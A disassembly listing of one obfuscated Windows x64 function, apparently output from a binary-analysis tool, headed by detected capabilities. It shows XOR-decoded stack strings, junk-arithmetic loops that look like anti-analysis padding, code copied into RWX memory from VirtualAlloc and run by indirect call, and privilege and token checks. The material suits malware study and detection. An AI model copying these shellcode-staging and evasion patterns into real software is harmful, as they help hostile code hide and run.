Function at 0x14023fa80
Capabilities:
Accept command line arguments
Access peb ldr_data
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Generate random numbers using a mersenne twister
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
mov eax, 0xaa30
call fcn.140272980
sub rsp, rax
movaps xmmword [rsp + 0xaa20], xmm6
movaps xmmword [rsp + 0xaa10], xmm7
movaps xmmword [rsp + 0xaa00], xmm8
movaps xmmword [rsp + 0xa9f0], xmm9
movaps xmmword [rsp + 0xa9e0], xmm10
movaps xmmword [rsp + 0xa9d0], xmm11
movaps xmmword [rsp + 0xa9c0], xmm12
mov rax, qword [0x140294040]
xor rax, rsp
mov qword [rsp + 0xa9b0], rax
xor edi, edi
mov dword [rsp + 0x98], edi
xorps xmm0, xmm0
movups xmmword [rsp + 0xba0], xmm0
lea rcx, [rsp + 0xaa48]
mov qword [rsp + 0x1b0], rcx
movabs r14, 0xff00ff00ff00ff00
mov qword [rsp + 0xba8], r14
mov qword [rsp + 0xbb0], rcx
mov rax, qword [rcx]
xor rax, r14
mov qword [rsp + 0xba0], rax
mov qword [rcx], rdi
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rsp + 0xb98]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov qword [rsp + 0x50], rax
movsd xmm0, qword [0x140281870]
movsd qword [rsp + 0x70], xmm0
movzx ecx, word [0x140281878]
mov word [rsp + 0x78], cx
cmp byte [0x140281879], dil
je 0x14023fbb6
mov byte [rsp + 0x70], 0x54
xor byte [rsp + 0x71], 0x48
xor byte [rsp + 0x72], 0x4a
xor byte [rsp + 0x73], 0x4c
xor byte [rsp + 0x74], 0x4e
xor byte [rsp + 0x75], 0x50
xor byte [rsp + 0x76], 0x52
xor byte [rsp + 0x77], 0x54
xor byte [rsp + 0x78], 0x56
xor byte [rsp + 0x79], 0x58
lea rdx, [rsp + 0x70]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14024db80
lea rdx, [0x14024dd60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rbx, qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x17c], 0x64
xorps xmm0, xmm0
movups xmmword [rsp + 0xb40], xmm0
lea rax, [rsp + 0xaa48]
mov qword [rsp + 0xb48], r14
mov qword [rsp + 0xb50], rax
mov r12, qword [rax]
xor r12, r14
mov qword [rsp + 0xb40], r12
mov qword [rax], rdi
mov ecx, edi
mov rax, qword [0x1402980d0]
lea r15, [0x14024df40]
lea rsi, [0x140000000]
test rax, rax
je 0x14023fc56
mov rdx, rdi
nop dword [rax]
cmp rax, r15
je 0x14023fc85
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x2980d0]
test rax, rax
jne 0x14023fc40
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
mov r13d, 3
test rax, rax
jne 0x14023fc9d
mov r8, rdi
jmp 0x14023fd3e
mov r8, qword [rsi + rdx*8 + 0x29a3b0]
test r8, r8
je 0x14023fc56
mov r13d, 3
jmp 0x14023fd5f
mov rax, r15
mov rcx, r8
mov rdx, r13
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14023fcb0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140298a40]
mov qword [rsi + rax*8 + 0x2980d0], r15
mov qword [rsi + rax*8 + 0x29a3b0], r8
inc rax
mov qword [0x140298a40], rax
lea rdx, [rsp + 0x17c]
mov rcx, rbx
call r8
nop
xor r12, r14
mov qword [rsp + 0xb40], r12
lea rax, [rsp + 0xaa48]
mov qword [rax], r12
lea rbx, [0x140221590]
xorps xmm0, xmm0
movups xmmword [rsp + 0xb40], xmm0
lea rax, [rsp + 0xaa48]
mov qword [rsp + 0xb48], r14
mov qword [rsp + 0xb50], rax
mov r12, qword [rax]
xor r12, r14
mov qword [rsp + 0xb40], r12
mov qword [rax], rdi
mov ecx, edi
mov rax, qword [0x1402993b0]
lea r15, [0x14024e7e0]
test rax, rax
je 0x14023fe00
mov rdx, rdi
cmp rax, r15
je 0x14023fdef
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x2993b0]
test rax, rax
jne 0x14023fdd7
jmp 0x14023fe00
mov r8, qword [rsi + rdx*8 + 0x299d40]
test r8, r8
jne 0x14023fee1
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14023fe29
mov r8, rdi
jmp 0x14023fec0
mov rax, r15
mov rcx, r8
mov rdx, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14023fe32
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14029a6e0]
mov qword [rsi + rax*8 + 0x2993b0], r15
mov qword [rsi + rax*8 + 0x299d40], r8
inc rax
mov qword [0x14029a6e0], rax
mov rcx, rbx
call r8
nop
xor r12, r14
mov qword [rsp + 0xb40], r12
lea rcx, [rsp + 0xaa48]
mov qword [rcx], r12
test al, al
je 0x140240110
mov qword [0], rdi
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x20b4], 0xffffffff
mov dword [rsp + 0xd34], eax
mov esi, 1
mov edx, esi
nop dword [rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0xd34], eax
inc rdx
cmp rdx, 0x270
jb 0x14023ff30
mov dword [rsp + 0xd30], 0x270
mov dword [rsp + 0x40], edi
lea rcx, [rsp + 0x50]
call fcn.140201b40
mov r15, qword [rsp + 0x50]
add r15, 0x5f5e100
nop word [rax + rax]
lea rcx, [rsp + 0x768]
call fcn.140201b40
cmp qword [rax], r15
jge 0x140240107
mov edi, 0x186a0
nop dword [rax + rax]
lea rcx, [rsp + 0xd30]
call fcn.14025d840
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x14023ffdb
nop dword [rax + rax]
lea rcx, [rsp + 0xd30]
call fcn.14025d840
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14023ffc0
shr rax, 0x20
lea ebx, [rax + 0x7fffff9c]
xor ebx, 0x80000000
cmove ebx, esi
lea rcx, [rsp + 0xd30]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14024002b
nop dword [rax]
lea rcx, [rsp + 0xd30]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x140240010
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0xd30]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14024007b
nop
lea rcx, [rsp + 0xd30]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x140240060
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0xd30]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x1402400cb
nop
lea rcx, [rsp + 0xd30]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x1402400b0
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv ebx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv ebx
mov dword [rsp + 0x40], edx
sub rdi, rsi
jne 0x14023ffa0
jmp 0x14023ff80
mov eax, dword [rsp + 0x40]
jmp 0x14024734a
movzx eax, word [0x140283174]
mov word [rsp + 0x88], ax
movzx eax, byte [0x140283176]
mov byte [rsp + 0x88], 0x62
xor byte [rsp + 0x89], 0x48
xor al, 0x4a
mov byte [rsp + 0x8a], al
lea rdx, [rsp + 0x88]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14024db80
lea rdx, [0x14024dd60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0x4000
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
nop
movzx eax, word [0x1402820dc]
mov word [rsp + 0x8c], ax
movzx eax, byte [0x1402820de]
mov byte [rsp + 0x8c], 0x62
xor byte [rsp + 0x8d], 0x48
xor al, 0x4a
mov byte [rsp + 0x8e], al
lea rdx, [rsp + 0x8c]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14024db80
lea rdx, [0x14024dd60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x9d0]
call fcn.140227a90
mov rdx, rax
lea rcx, [0x1402971a0]
call fcn.14024a9e0
lea rcx, [rsp + 0x9d0]
call fcn.14024c260
movzx eax, word [0x140283614]
mov word [rsp + 0x90], ax
movzx eax, byte [0x140283616]
mov byte [rsp + 0x90], 0x62
xor byte [rsp + 0x91], 0x48
xor al, 0x4a
mov byte [rsp + 0x92], al
lea rdx, [rsp + 0x90]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14024db80
lea rdx, [0x14024dd60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x1402971a0]
lea rcx, [rsp + 0x9f0]
call fcn.14024ab80
mov rdx, rax
lea rcx, [rsp + 0xa10]
call fcn.14021a8b0
mov rdx, rax
lea rcx, [rsp + 0xa30]
call fcn.140219f00
mov rdx, rax
lea rbx, [0x140297400]
mov rcx, rbx
call fcn.14024a9e0
lea rcx, [rsp + 0xa30]
call fcn.14024c260
cmp qword [0x140297418], 0xf
cmova rbx, qword [0x140297400]
mov r8, qword [0x140297410]
mov rdx, rbx
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1402547c0
lea rdx, [0x14024dd60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
jmp 0x1402402e2
movzx eax, word [0x140280d28]
mov word [rsp + 0x68], ax
movsd xmm0, qword [0x140280d20]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, byte [0x140280d2a]
movsd qword [rsp + 0x60], xmm0
mov byte [rsp + 0x60], 0x65
xor byte [rsp + 0x61], 0x48
xor byte [rsp + 0x62], 0x4a
xor byte [rsp + 0x63], 0x4c
xor byte [rsp + 0x64], 0x4e
xor byte [rsp + 0x65], 0x50
xor byte [rsp + 0x66], 0x52
xor byte [rsp + 0x67], 0x54
xor byte [rsp + 0x68], 0x56
xor byte [rsp + 0x69], 0x58
xor al, 0x5a
mov byte [rsp + 0x6a], al
lea rdx, [rsp + 0x60]
call fcn.14024db80
lea rdx, [0x14024dd60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
movups xmmword [rsp + 0xb78], xmm0
movups xmmword [rsp + 0xb88], xmm0
lea rax, vtable.ATL::CAccessToken.0
mov qword [rsp + 0xb78], rax
movdqu xmmword [rsp + 0xb80], xmm0
mov qword [rsp + 0xb90], rdi
xor eax, eax
movups xmmword [rsp + 0xbc0], xmm0
movups xmmword [rsp + 0xbd0], xmm0
movups xmmword [rsp + 0xbe0], xmm0
movups xmmword [rsp + 0xbf0], xmm0
movups xmmword [rsp + 0xc00], xmm0
movups xmmword [rsp + 0xc10], xmm0
movups xmmword [rsp + 0xc20], xmm0
mov qword [rsp + 0xc30], rax
lea rax, vtable.ATL::CSid.0
mov qword [rsp + 0xbc0], rax
mov byte [rsp + 0xc0c], 0
mov dword [rsp + 0xc10], 7
call fcn.140201fe0
mov rcx, rax
test rax, rax
je 0x1402473cf
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0xc18], rax
call fcn.140201fe0
mov rcx, rax
test rax, rax
je 0x1402473da
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0xc20], rax
call fcn.140201fe0
mov rcx, rax
test rax, rax
je 0x1402473e5
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0xc28], rax
call fcn.140201fe0
mov rcx, rax
test rax, rax
je 0x1402473f0
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0xc30], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0xb20]
mov edx, 0x20008
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140240596
lea rcx, [rsp + 0xb78]
mov rax, qword [rsp + 0xb78]
call qword [rax + 8]
mov rax, qword [rsp + 0xb20]
mov qword [rsp + 0xb80], rax
lea rdx, [rsp + 0xbc0]
lea rcx, [rsp + 0xb78]
call fcn.14024d540
test al, al
je 0x140240596
lea rcx, [rsp + 0xbc0]
call fcn.140202350
lea rcx, [rsp + 0xa98]
mov qword [rsp + 0xa90], rcx
mov r8d, r13d
mov rdx, rax
lea rcx, [rsp + 0xa90]
call fcn.14024b4b0
nop
mov rdx, qword [rsp + 0xa90]
xorps xmm0, xmm0
movups xmmword [rsp + 0x588], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x598], xmm1
mov r15, 0xffffffffffffffff
mov r8, r15
nop dword [rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140240540
lea rcx, [rsp + 0x588]
call fcn.14021c020
lea rdx, [rsp + 0x588]
lea rcx, [0x140297488]
call fcn.14024a9e0
lea rcx, [rsp + 0x588]
call fcn.14024c260
nop
lea rax, [rsp + 0xa98]
mov rcx, qword [rsp + 0xa90]
cmp rcx, rax
je 0x14024059d
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x14024059d
mov r15, 0xffffffffffffffff
mov rdx, qword [rsp + 0x50]
mov rdx, qword [rdx + 8]
xorps xmm0, xmm0
movups xmmword [rsp + 0x568], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x578], xmm1
mov r8, r15
inc r8
cmp word [rdx + r8*2], 0
jne 0x1402405c0
lea rcx, [rsp + 0x568]
call fcn.14024f710
nop
lea rdx, [rsp + 0x568]
lea rcx, [rsp + 0xb58]
call fcn.140209aa0
nop
lea rcx, [rsp + 0x568]
call fcn.14024c160
lea rdx, [rsp + 0xb58]
cmp qword [rsp + 0xb70], 0xf
cmova rdx, qword [rsp + 0xb58]
mov r8, qword [rsp + 0xb68]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1402547c0
lea rdx, [0x14024dd60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor edx, edx
mov r8d, 0xf0
lea rcx, [rsp + 0xc40]
call fcn.140272764
lea rax, [rsi + 0x282de0]
mov qword [rsp + 0xc40], rax
lea rcx, [rsp + 0xcd0]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov r12d, 1
mov dword [rsp + 0x98], r12d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0xc50]
lea rcx, [rsp + 0xc40]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rsp + 0xc40]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rsp + rcx + 0xc40], rax
mov rax, qword [rsp + 0xc40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x90]
mov dword [rsp + rcx + 0xc3c], edx
lea rax, [rsp + 0xc50]
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0xc50]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rsp + 0xc50], rax
lea rdx, [rsp + 0xb58]
cmp qword [rsp + 0xb70], 0xf
cmova rdx, qword [rsp + 0xb58]
mov r9d, 2
mov r8, qword [rsp + 0xb68]
lea rcx, [rsp + 0xc50]
call fcn.14024ce60
nop
mov r8b, 0x3a
lea rdx, [0x1402972e0]
lea rcx, [rsp + 0xc40]
call fcn.1402541d0
mov r8b, 0x3a
lea rdx, [0x1402974f8]
lea rcx, [rsp + 0xc40]
call fcn.1402541d0
mov rax, qword [rsp + 0xc40]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0xc40]
add rcx, rax
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [0x1402974b8]
lea rcx, [rsp + 0xc40]
call fcn.1402541d0
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x3444], 0xffffffff
mov dword [rsp + 0x20c4], eax
mov edx, r12d
nop dword [rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x20c4], eax
inc rdx
cmp rdx, 0x270
jb 0x1402407b0
mov dword [rsp + 0x20c0], 0x270
mov dword [rsp + 0x40], edi
lea rcx, [rsp + 0x50]
call fcn.140201b40
mov r14, qword [rsp + 0x50]
add r14, 0x5f5e100
nop word [rax + rax]
lea rcx, [rsp + 0x770]
call fcn.140201b40
cmp qword [rax], r14
jge 0x14024098d
mov qword [rsp + 0x98], 0x186a0
lea rcx, [rsp + 0x20c0]
call fcn.14025d840
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x14024085b
nop dword [rax]
lea rcx, [rsp + 0x20c0]
call fcn.14025d840
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x140240840
shr rax, 0x20
lea ebx, [rax + 0x7fffff9c]
xor ebx, 0x80000000
cmove ebx, r12d
lea rcx, [rsp + 0x20c0]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x1402408ab
nop word [rax + rax]
lea rcx, [rsp + 0x20c0]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x140240890
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x20c0]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x1402408fb
nop
lea rcx, [rsp + 0x20c0]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x1402408e0
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x20c0]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14024094b
nop
lea rcx, [rsp + 0x20c0]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x140240930
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv ebx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv ebx
mov dword [rsp + 0x40], edx
sub qword [rsp + 0x98], 1
jne 0x140240822
jmp 0x140240800
mov eax, dword [rsp + 0x40]
call qword [sym.imp.SHELL32.dll_IsUserAnAdmin]
mov r9d, edi
movdqa xmm10, xmmword [0x140284260]
movdqa xmm6, xmmword [0x1402843c0]
movdqa xmm7, xmmword [0x1402843a0]
movdqa xmm11, xmmword [str.ffffiiii]
movdqa xmm12, xmmword [0x1402843d0]
movdqa xmm9, xmmword [0x140284390]
movdqa xmm8, xmmword [0x140284370]
test eax, eax
je 0x140240cbd
movups xmm0, xmmword [0x140280a68]
movups xmmword [rsp + 0x280], xmm0
movups xmm1, xmmword [0x140280a78]
movups xmmword [rsp + 0x290], xmm1
movsd xmm0, qword [0x140280a88]
movsd qword [rsp + 0x2a0], xmm0
movzx eax, byte [0x140280a90]
mov byte [rsp + reloc.SHELL32.dll_IsUserAnAdmin], al
cmp dword [0x140294090], 2
jl 0x140240bc9
movdqa xmmword [rsp + 0x50], xmm9
lea rcx, [rsp + 0x284]
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x28
jl 0x140240a40
cmp r9d, 0x29
jge 0x140240c32
movsxd rax, r9d
lea r10, [rsp + 0x280]
add r10, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0x5f5f5f5f
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
sub cl, r8b
add cl, 0x23
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x29
jl 0x140240be0
lea rax, [rsp + 0x280]
mov rcx, r15
nop dword [rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x140240c40
movabs rbx, 0x7fffffffffffffff
mov rdx, qword [rsp + 0xb68]
sub rbx, rdx
cmp rbx, rcx
jb 0x1402473c9
lea rax, [rsp + 0xb58]
cmp qword [rsp + 0xb70], 0xf
cmova rax, qword [rsp + 0xb58]
